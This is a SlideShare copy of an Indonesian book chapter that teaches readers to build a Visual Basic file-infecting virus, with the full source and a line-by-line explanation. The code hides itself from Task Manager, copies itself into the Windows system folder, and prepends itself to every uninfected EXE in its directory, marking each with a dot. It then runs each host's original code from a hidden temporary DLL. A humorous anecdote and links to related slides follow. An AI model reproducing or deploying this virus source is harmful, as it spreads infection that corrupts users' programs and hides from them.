SlideShare una empresa de Scribd logo
1 de 13
Descargar para leer sin conexión
15
Mencermati
Isi Program
Setelah berhasil membuat form, mengetikkan data program, dan membentuk
menjadi suatu file source code −sebelum melangkah lebih lanjut− untuk
membentuk file tersebut menjadi suatu file EXE maka kita akan menelaah
program dan bagian-bagian pembentuknya baris demi baris. (Jika memung-
kinkan dan jika saya tahu apa yang harus dijelaskan …☺.)
Program secara global terbagi menjadi beberapa bagian utama, yaitu Deklarasi
Data, Form Loading, dan Modul Utama.
2.1 Deklarasi Data
Berikut ini penggalan listing programnya berikut keterangannya.
Option Explicit
Private victim As String
Private myarray As String
Private varray As String
Private Length As Long
Dim chck As String * 1
Const Size As Long = 32768
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
16
Private Declare Function OpenProcess Lib "kernel32" _
(ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long,
_
ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" _
(ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" _
(ByVal hObject As Long) As Long
Jika kita telaah baris demi baris maka…:
* Option Explicit
Perintah ini dipakai agar alur program tidak rancu. Sehingga tidak mengalami
bentrok dan masalah pada akhirnya. Salah satu contoh, untuk memakai suatu
variabel maka kita harus menyediakannya (membuatnya) terlebih dahulu secara
eksplisit, sebelum dapat memakainya.
* Private victim As String
Membuat variabel bernama Victim dengan jenis data string.
* Private myarray As String
Membuat variabel bernama myarray dengan jenis data string.
* Private varray As String
Membuat variabel bernama varray dengan jenis data string.
* Private Length As Long
Membuat variabel bernama Length dengan jenis data string.
* Dim chck As String * 1
Membuat variabel bernama chck dengan jenis data string dengan panjang 1.
* Const Size As Long = 32768
Membuat konstanta bernama Size dengan jenis data long dan mengisinya
dengan data 32768.
* Private iResult As Long
Membuat variabel bernama iResult dengan jenis data long.
* Private hProg As Long
Membuat variabel bernama hProg dengan jenis data long.
17
* Private idProg As Long
Membuat variabel bernama idProg dengan jenis data long.
* Private iExit As Long
Membuat variabel bernama iExit dengan jenis data long.
* Const STILL_ACTIVE As Long = &H103
Membuat konstanta bernama STILL_ACTIVE dengan jenis data long dan
mengisinya dengan data &H103.
* Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
Membuat konstanta bernama PROCESS_ALL_ACCESS dengan jenis data long
dan mengisinya dengan data &H1F0FFF.
* Private Declare Function OpenProcess Lib "kernel32" _
(ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, _
ByVal dwProcessId As Long) As Long
Mendeklarasikan fungsi API yang bernama OpenProcess. Fungsi ini digunakan
untuk membuka objek proses yang ada.
* Private Declare Function GetExitCodeProcess Lib "kernel32" _
(ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" _
(ByVal hObject As Long) As Long
Mendeklarasikan fungsi API yang bernama GetExitCodeProcess. Fungsi ini
berguna untuk memperoleh kode status penghentian suatu proses.
2.2 Form Loading
Bagian form loading ini berguna untuk melakukan inisialisasi awal program. Di
sini subrutin yang ada bernama form_load. Petikan listing programnya sebagai
berikut:
Private Sub form_load()
Me.Visible = False
App.TaskVisible = False
On Error Resume Next
Call main
End Sub
18
Keterangan:
* Private Sub form_load()
Membuat subrutin bernama form_load.
* Me.Visible = False
Membuat form aktif menjadi tidak kelihatan.
* App.TaskVisible = False
Membuat aplikasi aktif virus menjadi tidak kelihatan pada task manager.
* On Error Resume Next
Perintah untuk menangani jika terjadi suatu masalah.
* Call main
Perintah untuk memanggil modul utama virus.
* End Sub
Perintah penutup subrutin.
2.3 Modul Utama
Subrutin utama virus yang kita buat, kita beri nama MAIN. Jabarannya sebagai
berikut:
Sub main()
On Error Resume Next
Dim i As Long
Dim Free
Free = FreeFile
Dim target
Dim fso, sysfolder, winfolder
Set fso = CreateObject("scripting.filesystemobject")
Set sysfolder = fso.GetSpecialFolder(1)
Set winfolder = fso.GetSpecialFolder(0)
FileCopy App.Path & "" & App.EXEName & ".exe", sysfolder &
"" & "wbdbass.nl"
Open App.Path & "" & App.EXEName & ".exe" For Binary Access
Read As #Free
myarray = Space$(Size)
Get #1, 1, myarray
Close #Free
19
ChDrive App.Path
ChDir App.Path
victim = Dir(App.Path & "" & "*.EXE")
While victim <> ""
If LCase(App.Path & "" & App.EXEName & ".exe") _
<> LCase(App.Path & "" & victim) Then
Open victim For Binary Access Read As #Free
varray = Space$(LOF(Free))
Get #1, 1, varray
Close #Free
Open victim For Binary Access Read As #Free
Debug.Print varray
Seek #1, LOF(Free)
chck = Space$(1)
Debug.Print varray
Get #1, , chck
Close #Free
If LCase(chck) <> "." Then
Open victim For Binary Access Write As #Free
Put #Free, 1, myarray
Put #Free, Size, varray
Put #Free, LOF(Free) + 1, "."
Close #Free
End If
Else
End If
victim = Dir()
Wend
Open App.Path & "" & App.EXEName & ".exe" For Binary Access
Read As #Free
Length = (LOF(Free) - Size)
If Length > 0 Then
myarray = Space(Length)
Get #Free, Size, myarray
Close #Free
Open App.Path & "" & App.EXEName & ".dll" For Binary Access
Write As #Free
Put #Free, , myarray
Close #Free
SetAttr App.Path & "" & App.EXEName & ".dll", vbHidden +
vbSystem
idProg = Shell(App.Path & "" & App.EXEName & ".dll",
vbNormalFocus)
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
GetExitCodeProcess hProg, iExit
Do While iExit = STILL_ACTIVE
20
DoEvents
GetExitCodeProcess hProg, iExit
Loop
On Error Resume Next
SetAttr App.Path & "" & App.EXEName & ".dll", vbNormal
Kill App.Path & "" & App.EXEName & ".dll"
Else
Close #Free
End If
End
End Sub
Keterangan detailnya adalah:
* Sub main()
Membuat subrutin dengan nama main.
* On Error Resume Next
Perintah untuk mengatasi jika terjadi kesalahan program.
* Dim i As Long
Membuat variabel bernama i dengan jenis data Long.
* Dim Free
Membuat variabel bernama free.
* Free = FreeFile
Mengisi variabel Free dengan jenis data FreeFile.
* Dim target
Membuat variabel bernama target dengan jenis data varian.
* Dim fso, sysfolder, winfolder
Membuat variabel bernama fso, sysfolder, dan winfolder dengan jenis data
varian.
* Set fso = CreateObject("scripting.filesystemobject")
Mengeset variabel fso dengan perintah script object create object.
* Set sysfolder = fso.GetSpecialFolder(1)
Mengeset variabel sysfolder dengan perintah script agar mengambil nama folder
khusus system windows.
21
* Set winfolder = fso.GetSpecialFolder(0)
Mengeset variabel sysfolder dengan perintah script agar mengambil nama folder
khusus root windows.
* FileCopy App.Path & "" & App.EXEName & ".exe", sysfolder &
"" & "wbdbass.nl"
Mengopi file virus aktif ke system folder Windows dengan nama wbdbass.nl.
* Open App.Path & "" & App.EXEName & ".exe" For Binary Access
Read As #Free
Membaca file virus aktif.
* myarray = Space$(Size)
Mengisi variabel myarray dengan spasi, sejumlah besar yang disebutkan dalam
variabel Size (alias ukuran virus).
* Get #1, 1, myarray
Membaca data dan meletakkan di array.
* Close #Free
Menutup file virus.
* ChDrive App.Path
Mengubah drive yang aktif dengan path aplikasi.
* ChDir App.Path
Mengubah directory yang aktif dengan path aplikasi.
* victim = Dir(App.Path & "" & "*.EXE")
Mengisi variabel victim dengan data-data file exe yang ada pada direktori aktif.
* While victim <> ""
Lakukan selama variabel victim tidak sama dengan kosong.
* If LCase(App.Path & "" & App.EXEName & ".exe") _
<> LCase(App.Path & "" & victim) Then
Jika file korban tidak sama dengan nama file virus aktif maka…
* Open victim For Binary Access Read As #Free
Buka file exe korban untuk dibaca.
22
* varray = Space$(LOF(Free))
Isi variabel varray dengan file data spasi sepanjang file tersebut. Atau di sini kita
menyiapkan buffer file.
* Get #1, 1, varray
Baca dan kopi data ke array.
*Close #Free
Tutup file korban.
* Open victim For Binary Access Read As #Free
Buka file korban.
* Seek #1, LOF(Free)
Mengeset buffer untuk file data.
* chck = Space$(1)
Isi variabel chck dengan data spasi sepanjang 1.
* Get #1, , chck
Kopi data variabel chck tersebut ke array.
* Close #Free
Tutup file.
* If LCase(chck) <> "." Then
Jika variabel chck sama dengan . (titik atau marker virus) berarti file telah
terinfeksi. Jika tidak maka lanjutkan proses.
* Open victim For Binary Access Write As #Free
Buka file korban untuk ditulisi.
* Put #Free, 1, myarray
Letakkan variabel myarray (file virus) di depan file.
* Put #Free, Size, varray
Lalu diikuti dengan variabel varray (alias data asli file korban).
* Put #Free, LOF(Free) + 1, "."
Lalu diikuti dengan “marker virus” (marker virus yang kita pakai adalah titik!)
untuk menandai bahwa file tersebut telah diinfeksi.
23
* Close #Free
Tutup file.
* End If
Syarat selesai. Pasangan dari If LCase(chck) <> "." Then
* Else
Selain itu… jangan lakukan apa-apa.
* End If
Syarat selesai. Pasangan dari perintah If LCase(App.Path & "" & App.EXEName & ".exe")
<> LCase(App.Path & "" & victim) Then
* victim = Dir()
Isi variabel victim dengan perintah DIR. Atau untuk mencari file berikutnya
yang akan diinfeksi.
* Wend
Lakukan putaran ulang sampai kondisi terpenuhi.
* Open App.Path & "" & App.EXEName & ".exe" For Binary Access
Read As #Free
Buka file aplikasi untuk dibaca.
* Length = (LOF(Free) - Size)
Isi variabel length dengan data file aktif saat ini dikurangi dengan ukuran file
virus (atau variabel Size).
* If Length > 0 Then
Jika variabel Length lebih besar daripada 0 maka file telah diinfeksi.
* myarray = Space(Length)
Buat buffer dalam variabel myarray untuk menampung data ukuran file asli.
* Get #Free, Size, myarray
Simpan dalam file array.
* Close #Free
Tutup file.
24
* Open App.Path & "" & App.EXEName & ".dll" For Binary Access
Write As #Free
Buka dan buat file dengan nama sama, namun ekstension-nya adalah DLL.
* Put #Free, , myarray
Letakkan data asli file aplikasi sebagai file temporer.
* Close #Free
Tutup dan bentuk file DLL.
* SetAttr App.Path & "" & App.EXEName & ".dll", vbHidden +
vbSystem
Buat atribut file DLL tersebut dengan hidden dan system. Sehingga tidak terlihat
secara standar.
* idProg = Shell(App.Path & "" & App.EXEName & ".dll",
vbNormalFocus)
Isi variabel idProg dengan data untuk menjalankan kode-kode aplikasi asli yang
telah dibentuk menjadi file *.DLL.
* hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
Isi hProg dengan data nomor kode aplikasi yang sedang berjalan (running
application code number).
--------------------------------------------------------------------------------------------------
Sekilas info.. ☺. Sintak standar dari perintah OpenProcess
adalah:
OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD
dwProcessId)
Parameter dwDesiredAccess berisi akses ke objek proses.
Parameter bInheritHandle. Jika benar maka handle-nya bersifat inheritable. Jika
FALSE, handle tidak dapat inherited.
Parameter dwProcessId merupakan Identifier dari proses yang akan dibuka.
Jika sukses maka return value-nya adalah open handle dari process tertentu. Jika
gagal, nilainya adalah NULL. Loh… tapi ini ngomong-ngomong sekilas info
25
apa sih? Kok jadi bingung saya? Ini adalah sekilas info, yang menunjukkan
bahwa perintah OpenProcess adalah salah satu perintah API (Application
Programming Interface) bawaan Windows. Perintah-perintah API ini umumnya
dipakai dalam pemrograman tingkat lanjut.
--------------------------------------------------------------------------------------------------
* GetExitCodeProcess hProg, iExit
Ambil data kode penghentian proses.
--------------------------------------------------------------------------------------------------
Sekilas info lagi... ☺. Sintak standar dari perintah
GetExitCodeProcess adalah:
GetExitCodeProcess( HANDLE hProcess, LPDWORD lpExitCode)
Parameter hProcess mewakili Handle process. Handle ini
haruslah mempunyai hak akses PROCESS_QUERY_INFORMATION.
lpExitCode adalah pointer ke variabel untuk memperoleh status penghentian
proses (process termination status).
Jika sukses, fungsi akan mengembalikan nilai tidak nol. Jika gagal maka nilainya
adalah nol.
--------------------------------------------------------------------------------------------------
* Do While iExit = STILL_ACTIVE
Lakukan putaran selama variabel iExit masih berisi data STILL_ACTIVE. Atau
dengan kata lain, tunggu sampai program aplikasi aktif dimatikan. Jadi, program
virus akan “tidur sementara” dan menjalankan program asli. Saat program asli
selesai dijalankan, kendali akan diambil alih lagi oleh virus.
* DoEvents
Lakukan event.
* GetExitCodeProcess hProg, iExit
Ambil data exit code terkini.
26
* Loop
Lakukan putaran sampai syarat event terpenuhi.
* On Error Resume Next
Jika terjadi masalah, lanjutkan pada proses selanjutnya.
* SetAttr App.Path & "" & App.EXEName & ".dll", vbNormal
Ubah data aplikasi DLL dengan atribut Normal.
* Kill App.Path & "" & App.EXEName & ".dll"
Hapus file DLL temporer tersebut.
* Else
Selain itu…
* Close #Free
Tutup file.
* End If
Syarat selesai.
* End
Program virus dihentikan.
* End Sub
Subrutin modul utama selesai.
Maka selesai pulalah (sementara) kegilaan kita! hehehe … ☺ Jika masih
bingung, coba Anda baca berulang kali bagian ini. Saya yakin Anda akan
semakin paham dan…. Tambah gila tentu saja.
--------------------------------------------------------------------------------------------------
Flash Back: Anti Sosial 1
Jarang sekali Kyai Kebal Wirang mengajak muridnya yang
masih balita pergi berinteraksi sosial. Karena takut menjadi
anti-sosial sejati, maka hari itu diajaknya Megatruh kecil
pergi jalan-jalan. Megatruh begitu gembira dan tak bosan-
bosannya ia bertanya tentang apa saja yang dilihatnya. Sang kyai dengan sabar
meladeninya dengan menjawab semua pertanyaan sang murid.
27
Setelah lelah berkeliling, pulanglah mereka berdua. Kyai Kebal Wirang dengan
gesit menghentikan angkota yang kebetulan melintas. Naiklah mereka berdua ke
dalam angkota. Dalam perjalanan, Megatruh banyak diam. Hanya saja matanya
yang bundar tanpa dosa, terlihat berkejab-kejab seperti kebingungan. Tangannya
berpegangan kencang pada baju sang kyai.
Kyai Kebal Wirang memerhatikan hal tersebut, lalu bertanya: “ada apa, kamu
kok … kebingungan seperti itu?”
Megatruh memandang wajah sang kyai dengan ragu. “Kyai tidak marah kalau
saya bertanya?”
“Tentu saja tidak,“ jawab sang kyai singkat.
Dengan lantang Megatruh kecil bersuara keras sekali tanpa dosa sambil me-
nunjuk kepada seorang lelaki yang duduk di depan mereka: “Ini lho… kyai…
saya heran. Bapak yang di depan kita ini, kakinya apa ketinggalan satu di rumah
ya?”
Kyai gendeng tersebut melonjak kaget dengan pertanyaan polos sang murid
balita. Dipandangnya bapak yang ditunjuk oleh Megatruh kecil dengan saksama,
ternyata di depannya duduklah seorang lelaki cacat yang buntung sebelah
kakinya.
Dengan nyengir dan muka merah padam, sang Kyai berkata “mas supir… kiri
mas. Kita mau turun” … ☺
--------------------------------------------------------------------------------------------------
***

Más contenido relacionado

Similar a Kitab sakti virus file

Pemrograman C++ - Operasi Berkas
Pemrograman C++ - Operasi BerkasPemrograman C++ - Operasi Berkas
Pemrograman C++ - Operasi BerkasKuliahKita
 
Dasar Dasar Google Hacking
Dasar Dasar Google HackingDasar Dasar Google Hacking
Dasar Dasar Google HackingKfajarbowo
 
Perbedaan macintosh dengan windows
Perbedaan macintosh dengan windowsPerbedaan macintosh dengan windows
Perbedaan macintosh dengan windowsIrsal Shabirin
 
Perbedaan macintosh dengan windows
Perbedaan macintosh dengan windowsPerbedaan macintosh dengan windows
Perbedaan macintosh dengan windowsIrsal Shabirin
 
Pengertian Internet Bab II
Pengertian Internet Bab IIPengertian Internet Bab II
Pengertian Internet Bab IIdevilpowerz
 
Command Line di Linux
Command Line di LinuxCommand Line di Linux
Command Line di LinuxFajar Sany
 
Memasang aplikasi phpindonesia_di_windows_7
Memasang aplikasi phpindonesia_di_windows_7Memasang aplikasi phpindonesia_di_windows_7
Memasang aplikasi phpindonesia_di_windows_7Cahya Dwiana SN
 
DDP_ProgramHitung_Ni Kadek Lia Mastika Dewi.pptx
DDP_ProgramHitung_Ni Kadek Lia Mastika Dewi.pptxDDP_ProgramHitung_Ni Kadek Lia Mastika Dewi.pptx
DDP_ProgramHitung_Ni Kadek Lia Mastika Dewi.pptxNi Kadek Lia Mastika Dewi
 
Class dan object
Class dan objectClass dan object
Class dan objectHardini_HD
 
Presentasi delphi
Presentasi delphiPresentasi delphi
Presentasi delphiJauhar Anam
 
100 perintah dasar linux
100 perintah dasar linux100 perintah dasar linux
100 perintah dasar linuxALI FIKRI
 
Pemrograman android-dasar-02-tipe-data
Pemrograman android-dasar-02-tipe-dataPemrograman android-dasar-02-tipe-data
Pemrograman android-dasar-02-tipe-dataMIqbalNasution
 
Fitrah hi hukum tugas so 2
Fitrah hi hukum tugas so 2Fitrah hi hukum tugas so 2
Fitrah hi hukum tugas so 2Fitrahdede
 
2012 29. web dan aplikasi pada opensuse (2012)
2012  29. web dan aplikasi pada opensuse (2012)2012  29. web dan aplikasi pada opensuse (2012)
2012 29. web dan aplikasi pada opensuse (2012)Syiroy Uddin
 
Octav android mysql
Octav android mysqlOctav android mysql
Octav android mysqlrikysp
 

Similar a Kitab sakti virus file (20)

Pemrograman C++ - Operasi Berkas
Pemrograman C++ - Operasi BerkasPemrograman C++ - Operasi Berkas
Pemrograman C++ - Operasi Berkas
 
Modul visual basic
Modul visual basicModul visual basic
Modul visual basic
 
Dasar Dasar Google Hacking
Dasar Dasar Google HackingDasar Dasar Google Hacking
Dasar Dasar Google Hacking
 
Perbedaan macintosh dengan windows
Perbedaan macintosh dengan windowsPerbedaan macintosh dengan windows
Perbedaan macintosh dengan windows
 
Perbedaan macintosh dengan windows
Perbedaan macintosh dengan windowsPerbedaan macintosh dengan windows
Perbedaan macintosh dengan windows
 
Vb6xpstyle
Vb6xpstyleVb6xpstyle
Vb6xpstyle
 
Pengertian Internet Bab II
Pengertian Internet Bab IIPengertian Internet Bab II
Pengertian Internet Bab II
 
Dasar PHP
Dasar PHPDasar PHP
Dasar PHP
 
Command Line di Linux
Command Line di LinuxCommand Line di Linux
Command Line di Linux
 
Memasang aplikasi phpindonesia_di_windows_7
Memasang aplikasi phpindonesia_di_windows_7Memasang aplikasi phpindonesia_di_windows_7
Memasang aplikasi phpindonesia_di_windows_7
 
DDP_ProgramHitung_Ni Kadek Lia Mastika Dewi.pptx
DDP_ProgramHitung_Ni Kadek Lia Mastika Dewi.pptxDDP_ProgramHitung_Ni Kadek Lia Mastika Dewi.pptx
DDP_ProgramHitung_Ni Kadek Lia Mastika Dewi.pptx
 
Pemrograman android
Pemrograman androidPemrograman android
Pemrograman android
 
Delphi
DelphiDelphi
Delphi
 
Class dan object
Class dan objectClass dan object
Class dan object
 
Presentasi delphi
Presentasi delphiPresentasi delphi
Presentasi delphi
 
100 perintah dasar linux
100 perintah dasar linux100 perintah dasar linux
100 perintah dasar linux
 
Pemrograman android-dasar-02-tipe-data
Pemrograman android-dasar-02-tipe-dataPemrograman android-dasar-02-tipe-data
Pemrograman android-dasar-02-tipe-data
 
Fitrah hi hukum tugas so 2
Fitrah hi hukum tugas so 2Fitrah hi hukum tugas so 2
Fitrah hi hukum tugas so 2
 
2012 29. web dan aplikasi pada opensuse (2012)
2012  29. web dan aplikasi pada opensuse (2012)2012  29. web dan aplikasi pada opensuse (2012)
2012 29. web dan aplikasi pada opensuse (2012)
 
Octav android mysql
Octav android mysqlOctav android mysql
Octav android mysql
 

Kitab sakti virus file

  • 1. 15 Mencermati Isi Program Setelah berhasil membuat form, mengetikkan data program, dan membentuk menjadi suatu file source code −sebelum melangkah lebih lanjut− untuk membentuk file tersebut menjadi suatu file EXE maka kita akan menelaah program dan bagian-bagian pembentuknya baris demi baris. (Jika memung- kinkan dan jika saya tahu apa yang harus dijelaskan …☺.) Program secara global terbagi menjadi beberapa bagian utama, yaitu Deklarasi Data, Form Loading, dan Modul Utama. 2.1 Deklarasi Data Berikut ini penggalan listing programnya berikut keterangannya. Option Explicit Private victim As String Private myarray As String Private varray As String Private Length As Long Dim chck As String * 1 Const Size As Long = 32768 Private iResult As Long Private hProg As Long Private idProg As Long Private iExit As Long Const STILL_ACTIVE As Long = &H103 Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
  • 2. 16 Private Declare Function OpenProcess Lib "kernel32" _ (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, _ ByVal dwProcessId As Long) As Long Private Declare Function GetExitCodeProcess Lib "kernel32" _ (ByVal hProcess As Long, lpExitCode As Long) As Long Private Declare Function CloseHandle Lib "kernel32" _ (ByVal hObject As Long) As Long Jika kita telaah baris demi baris maka…: * Option Explicit Perintah ini dipakai agar alur program tidak rancu. Sehingga tidak mengalami bentrok dan masalah pada akhirnya. Salah satu contoh, untuk memakai suatu variabel maka kita harus menyediakannya (membuatnya) terlebih dahulu secara eksplisit, sebelum dapat memakainya. * Private victim As String Membuat variabel bernama Victim dengan jenis data string. * Private myarray As String Membuat variabel bernama myarray dengan jenis data string. * Private varray As String Membuat variabel bernama varray dengan jenis data string. * Private Length As Long Membuat variabel bernama Length dengan jenis data string. * Dim chck As String * 1 Membuat variabel bernama chck dengan jenis data string dengan panjang 1. * Const Size As Long = 32768 Membuat konstanta bernama Size dengan jenis data long dan mengisinya dengan data 32768. * Private iResult As Long Membuat variabel bernama iResult dengan jenis data long. * Private hProg As Long Membuat variabel bernama hProg dengan jenis data long.
  • 3. 17 * Private idProg As Long Membuat variabel bernama idProg dengan jenis data long. * Private iExit As Long Membuat variabel bernama iExit dengan jenis data long. * Const STILL_ACTIVE As Long = &H103 Membuat konstanta bernama STILL_ACTIVE dengan jenis data long dan mengisinya dengan data &H103. * Const PROCESS_ALL_ACCESS As Long = &H1F0FFF Membuat konstanta bernama PROCESS_ALL_ACCESS dengan jenis data long dan mengisinya dengan data &H1F0FFF. * Private Declare Function OpenProcess Lib "kernel32" _ (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, _ ByVal dwProcessId As Long) As Long Mendeklarasikan fungsi API yang bernama OpenProcess. Fungsi ini digunakan untuk membuka objek proses yang ada. * Private Declare Function GetExitCodeProcess Lib "kernel32" _ (ByVal hProcess As Long, lpExitCode As Long) As Long Private Declare Function CloseHandle Lib "kernel32" _ (ByVal hObject As Long) As Long Mendeklarasikan fungsi API yang bernama GetExitCodeProcess. Fungsi ini berguna untuk memperoleh kode status penghentian suatu proses. 2.2 Form Loading Bagian form loading ini berguna untuk melakukan inisialisasi awal program. Di sini subrutin yang ada bernama form_load. Petikan listing programnya sebagai berikut: Private Sub form_load() Me.Visible = False App.TaskVisible = False On Error Resume Next Call main End Sub
  • 4. 18 Keterangan: * Private Sub form_load() Membuat subrutin bernama form_load. * Me.Visible = False Membuat form aktif menjadi tidak kelihatan. * App.TaskVisible = False Membuat aplikasi aktif virus menjadi tidak kelihatan pada task manager. * On Error Resume Next Perintah untuk menangani jika terjadi suatu masalah. * Call main Perintah untuk memanggil modul utama virus. * End Sub Perintah penutup subrutin. 2.3 Modul Utama Subrutin utama virus yang kita buat, kita beri nama MAIN. Jabarannya sebagai berikut: Sub main() On Error Resume Next Dim i As Long Dim Free Free = FreeFile Dim target Dim fso, sysfolder, winfolder Set fso = CreateObject("scripting.filesystemobject") Set sysfolder = fso.GetSpecialFolder(1) Set winfolder = fso.GetSpecialFolder(0) FileCopy App.Path & "" & App.EXEName & ".exe", sysfolder & "" & "wbdbass.nl" Open App.Path & "" & App.EXEName & ".exe" For Binary Access Read As #Free myarray = Space$(Size) Get #1, 1, myarray Close #Free
  • 5. 19 ChDrive App.Path ChDir App.Path victim = Dir(App.Path & "" & "*.EXE") While victim <> "" If LCase(App.Path & "" & App.EXEName & ".exe") _ <> LCase(App.Path & "" & victim) Then Open victim For Binary Access Read As #Free varray = Space$(LOF(Free)) Get #1, 1, varray Close #Free Open victim For Binary Access Read As #Free Debug.Print varray Seek #1, LOF(Free) chck = Space$(1) Debug.Print varray Get #1, , chck Close #Free If LCase(chck) <> "." Then Open victim For Binary Access Write As #Free Put #Free, 1, myarray Put #Free, Size, varray Put #Free, LOF(Free) + 1, "." Close #Free End If Else End If victim = Dir() Wend Open App.Path & "" & App.EXEName & ".exe" For Binary Access Read As #Free Length = (LOF(Free) - Size) If Length > 0 Then myarray = Space(Length) Get #Free, Size, myarray Close #Free Open App.Path & "" & App.EXEName & ".dll" For Binary Access Write As #Free Put #Free, , myarray Close #Free SetAttr App.Path & "" & App.EXEName & ".dll", vbHidden + vbSystem idProg = Shell(App.Path & "" & App.EXEName & ".dll", vbNormalFocus) hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg) GetExitCodeProcess hProg, iExit Do While iExit = STILL_ACTIVE
  • 6. 20 DoEvents GetExitCodeProcess hProg, iExit Loop On Error Resume Next SetAttr App.Path & "" & App.EXEName & ".dll", vbNormal Kill App.Path & "" & App.EXEName & ".dll" Else Close #Free End If End End Sub Keterangan detailnya adalah: * Sub main() Membuat subrutin dengan nama main. * On Error Resume Next Perintah untuk mengatasi jika terjadi kesalahan program. * Dim i As Long Membuat variabel bernama i dengan jenis data Long. * Dim Free Membuat variabel bernama free. * Free = FreeFile Mengisi variabel Free dengan jenis data FreeFile. * Dim target Membuat variabel bernama target dengan jenis data varian. * Dim fso, sysfolder, winfolder Membuat variabel bernama fso, sysfolder, dan winfolder dengan jenis data varian. * Set fso = CreateObject("scripting.filesystemobject") Mengeset variabel fso dengan perintah script object create object. * Set sysfolder = fso.GetSpecialFolder(1) Mengeset variabel sysfolder dengan perintah script agar mengambil nama folder khusus system windows.
  • 7. 21 * Set winfolder = fso.GetSpecialFolder(0) Mengeset variabel sysfolder dengan perintah script agar mengambil nama folder khusus root windows. * FileCopy App.Path & "" & App.EXEName & ".exe", sysfolder & "" & "wbdbass.nl" Mengopi file virus aktif ke system folder Windows dengan nama wbdbass.nl. * Open App.Path & "" & App.EXEName & ".exe" For Binary Access Read As #Free Membaca file virus aktif. * myarray = Space$(Size) Mengisi variabel myarray dengan spasi, sejumlah besar yang disebutkan dalam variabel Size (alias ukuran virus). * Get #1, 1, myarray Membaca data dan meletakkan di array. * Close #Free Menutup file virus. * ChDrive App.Path Mengubah drive yang aktif dengan path aplikasi. * ChDir App.Path Mengubah directory yang aktif dengan path aplikasi. * victim = Dir(App.Path & "" & "*.EXE") Mengisi variabel victim dengan data-data file exe yang ada pada direktori aktif. * While victim <> "" Lakukan selama variabel victim tidak sama dengan kosong. * If LCase(App.Path & "" & App.EXEName & ".exe") _ <> LCase(App.Path & "" & victim) Then Jika file korban tidak sama dengan nama file virus aktif maka… * Open victim For Binary Access Read As #Free Buka file exe korban untuk dibaca.
  • 8. 22 * varray = Space$(LOF(Free)) Isi variabel varray dengan file data spasi sepanjang file tersebut. Atau di sini kita menyiapkan buffer file. * Get #1, 1, varray Baca dan kopi data ke array. *Close #Free Tutup file korban. * Open victim For Binary Access Read As #Free Buka file korban. * Seek #1, LOF(Free) Mengeset buffer untuk file data. * chck = Space$(1) Isi variabel chck dengan data spasi sepanjang 1. * Get #1, , chck Kopi data variabel chck tersebut ke array. * Close #Free Tutup file. * If LCase(chck) <> "." Then Jika variabel chck sama dengan . (titik atau marker virus) berarti file telah terinfeksi. Jika tidak maka lanjutkan proses. * Open victim For Binary Access Write As #Free Buka file korban untuk ditulisi. * Put #Free, 1, myarray Letakkan variabel myarray (file virus) di depan file. * Put #Free, Size, varray Lalu diikuti dengan variabel varray (alias data asli file korban). * Put #Free, LOF(Free) + 1, "." Lalu diikuti dengan “marker virus” (marker virus yang kita pakai adalah titik!) untuk menandai bahwa file tersebut telah diinfeksi.
  • 9. 23 * Close #Free Tutup file. * End If Syarat selesai. Pasangan dari If LCase(chck) <> "." Then * Else Selain itu… jangan lakukan apa-apa. * End If Syarat selesai. Pasangan dari perintah If LCase(App.Path & "" & App.EXEName & ".exe") <> LCase(App.Path & "" & victim) Then * victim = Dir() Isi variabel victim dengan perintah DIR. Atau untuk mencari file berikutnya yang akan diinfeksi. * Wend Lakukan putaran ulang sampai kondisi terpenuhi. * Open App.Path & "" & App.EXEName & ".exe" For Binary Access Read As #Free Buka file aplikasi untuk dibaca. * Length = (LOF(Free) - Size) Isi variabel length dengan data file aktif saat ini dikurangi dengan ukuran file virus (atau variabel Size). * If Length > 0 Then Jika variabel Length lebih besar daripada 0 maka file telah diinfeksi. * myarray = Space(Length) Buat buffer dalam variabel myarray untuk menampung data ukuran file asli. * Get #Free, Size, myarray Simpan dalam file array. * Close #Free Tutup file.
  • 10. 24 * Open App.Path & "" & App.EXEName & ".dll" For Binary Access Write As #Free Buka dan buat file dengan nama sama, namun ekstension-nya adalah DLL. * Put #Free, , myarray Letakkan data asli file aplikasi sebagai file temporer. * Close #Free Tutup dan bentuk file DLL. * SetAttr App.Path & "" & App.EXEName & ".dll", vbHidden + vbSystem Buat atribut file DLL tersebut dengan hidden dan system. Sehingga tidak terlihat secara standar. * idProg = Shell(App.Path & "" & App.EXEName & ".dll", vbNormalFocus) Isi variabel idProg dengan data untuk menjalankan kode-kode aplikasi asli yang telah dibentuk menjadi file *.DLL. * hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg) Isi hProg dengan data nomor kode aplikasi yang sedang berjalan (running application code number). -------------------------------------------------------------------------------------------------- Sekilas info.. ☺. Sintak standar dari perintah OpenProcess adalah: OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId) Parameter dwDesiredAccess berisi akses ke objek proses. Parameter bInheritHandle. Jika benar maka handle-nya bersifat inheritable. Jika FALSE, handle tidak dapat inherited. Parameter dwProcessId merupakan Identifier dari proses yang akan dibuka. Jika sukses maka return value-nya adalah open handle dari process tertentu. Jika gagal, nilainya adalah NULL. Loh… tapi ini ngomong-ngomong sekilas info
